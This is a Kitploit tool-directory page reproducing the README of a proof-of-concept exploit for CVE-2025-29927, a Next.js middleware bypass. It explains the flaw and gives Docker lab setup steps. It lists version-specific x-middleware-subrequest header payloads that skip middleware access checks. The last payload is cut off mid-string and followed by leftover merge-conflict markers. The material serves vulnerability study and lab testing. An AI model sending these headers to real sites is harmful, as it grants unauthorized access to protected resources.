Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2025-29927 — Proof-of-concept exploit for CVE-2025-29927, a Next.js middleware bypass vulnerability. Includes version-specific payloads and a Docker-based lab for testing unauthorized access to protected routes. | Kitploit
Tools/GitHubGitHub/jeymo092/cve-2025-29927
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationLabs & Practice
GitHubjeymo092/cve-2025-29927

cve-2025-29927

Proof-of-concept exploit for CVE-2025-29927, a Next.js middleware bypass vulnerability. Includes version-specific payloads and a Docker-based lab for testing unauthorized access to protected routes.

View Repository
11 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2025-29927

Image

CVE-2025-29927 Vulnerability

All versions of Next.js from 11.1.4 through 13.5.6, 14.x before 14.2.25, and 15.x before 15.2.3 are affected by this vulnerability. The impact is particularly significant for applications that rely on middleware for implementing access controls, as attackers can gain unauthorized access to protected resources without authentication.

The vulnerability mechanism

The vulnerability in CVE-2025-29927 stems from a design flaw in how Next.js processes the x-middleware-subrequest header. This header was originally intended for internal use within the Next.js framework to prevent infinite middleware execution loops.

When a Next.js application uses middleware, the runMiddleware function is called to process incoming requests. As part of its functionality, this function checks for the presence of the x-middleware-subrequest header. If this header exists and contains a specific value, the middleware execution is skipped entirely, and the request is forwarded directly to its original destination via NextResponse.next().

The vulnerability lies in the fact that this header check can be exploited by external users. By adding the x-middleware-subrequest header with the correct value to a request, an attacker can completely bypass any middleware-based protection mechanisms.

Project Setup Guide

  1. Clone the repository:

    root@kitploit:~
    git clone <repository_url>
    
  2. Navigate to the project directory:

    root@kitploit:~
    cd nextjs-docker-app
    
  3. Build the Docker image:

    root@kitploit:~
    docker build -t nextjs-app .
    
  4. Run the Docker container:

    root@kitploit:~
    docker run -p 3000:3000 nextjs-app
    
  5. Access the application in your browser at http://localhost:3000.

Exploitation Across Different Next.js Versions

The exploitation method varies slightly depending on the Next.js version:

For versions prior to 12.2:

In these versions, middleware files had to be named _middleware.ts and placed inside the pages folder. The value of middlewareInfo.name was composed of the directory name and the file name:

root@kitploit:~
x-middleware-subrequest: pages/_middleware

For nested routes, there could be multiple middleware files at different levels, resulting in multiple possible values for the header:

root@kitploit:~
x-middleware-subrequest: pages/dashboard/_middleware

or

root@kitploit:~
x-middleware-subrequest: pages/dashboard/panel/_middleware

For versions 12.2 and later:

Starting with version 12.2, Next.js changed the middleware conventions. The file should be named middleware.ts (without the underscore) and should no longer be located in the pages folder. For these versions, the payload is simpler:

root@kitploit:~
x-middleware-subrequest: middleware

Additionally, Next.js allows for an alternative project structure with a /src directory. In such cases, the payload would be:

root@kitploit:~
x-middleware-subrequest: src/middleware

For versions 13.2.0 and later:

For versions 13.2.0 and above, Next.js introduced a maximum recursion depth for middleware execution. This was implemented to prevent infinite loops but doesn't affect the vulnerability. The exploitation remains the same, as the header check occurs before any recursion depth checks.

root@kitploit:~
x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware

Alternatively, for projects using a /src directory structure:

root@kitploit:~
x-middleware-subrequest: src/middleware:src/middleware:src/middleware:sr
=======
# cve-2025-29927
>>>>>>> 56c7b2dcd548caf771750519107bf7c57749a864
Download Tool